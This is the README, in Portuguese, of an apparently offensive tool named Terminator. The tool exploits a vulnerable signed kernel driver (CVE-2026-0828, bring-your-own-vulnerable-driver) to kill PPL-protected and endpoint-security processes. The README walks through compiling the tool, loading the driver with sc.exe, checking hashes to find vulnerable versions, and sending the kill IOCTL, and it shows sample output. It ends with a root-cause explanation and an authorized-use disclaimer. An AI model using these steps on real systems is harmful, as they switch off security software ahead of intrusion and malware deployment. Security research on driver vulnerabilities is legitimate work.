
Matador de processos em modo kernel que explora o CVE-2026-0828 (BYOVD) para encerrar processos protegidos por meio de um driver assinado vulnerável, contornando o PPL e a segurança de endpoint.
Uma ferramenta de término de processos em modo kernel que aproveita um driver vulnerável (CVE-2026-0828) para matar processos protegidos a partir do modo de usuário.
Requer MinGW-w64 (GCC) no Windows. Compile com:
g++ --% .\terminator.cpp -o terminator.exe -Oz -ffunction-sections -fdata-sections -static -static-libgcc -static-libstdc++ -Wl,--gc-sections -W
Detalhamento das flags:
| Flag | Finalidade |
|---|---|
--% | Token de interrupção de análise do PowerShell (passa argumentos literalmente para o g++) |
-Oz | Otimizar para o tamanho mínimo |
-ffunction-sections / -fdata-sections | Coloca cada função/dado em uma seção separada |
-static / -static-libgcc / -static-libstdc++ | Vinculação estática (sem dependências de DLL em tempo de execução) |
-Wl,--gc-sections | O linker coleta automaticamente as seções não utilizadas |
-W | Ativar avisos |
Saída: terminator.exe autônomo (~20-30 KB reduzido).
Este projeto demonstra a exploração de um driver de kernel vulnerável (STProcessMonitorDriver) que expõe um manipulador IOCTL_KILL_PROCESS não validado, permitindo o término arbitrário de processos, independentemente de privilégios ou mecanismos de proteção (PPL, flags de EPROCESS, etc.).
| Componente | Finalidade |
|---|---|
terminator.cpp | Cliente em modo de usuário que enumera processos e envia IOCTLs de término |
terminator.hpp | Interface de classe para enumeração e término de processos |
ProcessMonitorDriver.sys | Driver de kernel vulnerável (externo, não incluído) |
Terminator::GetProcessPids()
CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS)Process32First/Process32NextTerminator::ProcessKill()
\\.\STProcessMonitorDriverIOCTL_KILL_PROCESS (0xB822200C) com um buffer de PID de 8 bytesCarregue o driver vulnerável (requer Administrador):
sc.exe create STProcessMonitor type=kernel binPath=C:\Path\To\Driver\ProcessMonitorDriver.sys
sc.exe start STProcessMonitor
Se uma versão vulnerável do ProcessMonitorDriver.sys já estiver instalada e em execução como um serviço (por exemplo, de um aplicativo legítimo), o Terminator pode conectar-se diretamente sem carregar um novo driver.
Verifique se o serviço existe e está em execução:
sc.exe query STProcessMonitor
Verifique se a versão do driver é vulnerável (PowerShell):
$driverPath = "C:\Windows\System32\drivers\ProcessMonitorDriver.sys"
if (Test-Path $driverPath) {
$hash = (Get-FileHash $driverPath -Algorithm SHA256).Hash.ToLower()
$vulnerableHashes = @(
"70bcec00c215fe52779700f74e9bd669ff836f594df92381cbfb7ee0568e7a8b", # 11.11.4.0
"85d21ad0e0b43d122f3c9ec06036b08398635860c93d764f72fb550fb44cf786" # 10.5.75.0
)
if ($vulnerableHashes -contains $hash) {
Write-Host "[+] Vulnerable driver detected (SHA256: $hash)" -ForegroundColor Green
Write-Host "[+] You can simply run Terminator." -ForegroundColor Green
} else {
Write-Host "[-] Driver found but not a known vulnerable version (SHA256: $hash)" -ForegroundColor Yellow
}
} else {
Write-Host "[-] Driver not found at $driverPath" -ForegroundColor Red
}
Se o serviço existir e estiver RUNNING com uma versão vulnerável, pule as etapas de carregamento do driver e execute o Terminator diretamente.
| Versão | SHA-256 |
|---|---|
| 11.11.4.0 | 70bcec00c215fe52779700f74e9bd669ff836f594df92381cbfb7ee0568e7a8b |
| 10.5.75.0 | 85d21ad0e0b43d122f3c9ec06036b08398635860c93d764f72fb550fb44cf786 |
Outras versões podem ser afetadas; verifique o manipulador de IOCTL do driver antes do uso.
terminator.exe -proc <process_name1> [process_name2] ...
Exemplo:
terminator.exe -proc notepad.exe calc.exe
[+] Connected to driver. Monitoring for processes...
[*] Sending IOCTL 0xB822200C to terminate PID 4188...
[+] Success! IOCTL sent for PID 4188.
Vulnerabilidade: O driver STProcessMonitorDriver registra um manipulador de IOCTL (0xB822200C) que:
PsLookupProcessByProcessId → ZwTerminateProcess diretamenteSYSTEM), contornando todas as ACLs do modo de usuárioImpacto: Qualquer usuário não administrador com acesso ao driver pode encerrar:
SeDebugPrivilegeCausa Raiz: Validação ausente de ObReferenceObjectByHandle, sem SeSinglePrivilegeCheck(SeDebugPrivilege) e sem verificações de acesso ao objeto de processo.
Esta ferramenta destina-se apenas a pesquisas de segurança autorizadas e exercícios de red team.
O uso não autorizado contra sistemas que você não possui ou sem permissão explícita para testar é ilegal. O autor não se responsabiliza pelo uso indevido. Garanta que você tenha autorização por escrito antes de implantar em qualquer ambiente.
O driver vulnerável (
ProcessMonitorDriver.sys) é propositalmente falho para fins de demonstração e nunca deve ser implantado em produção.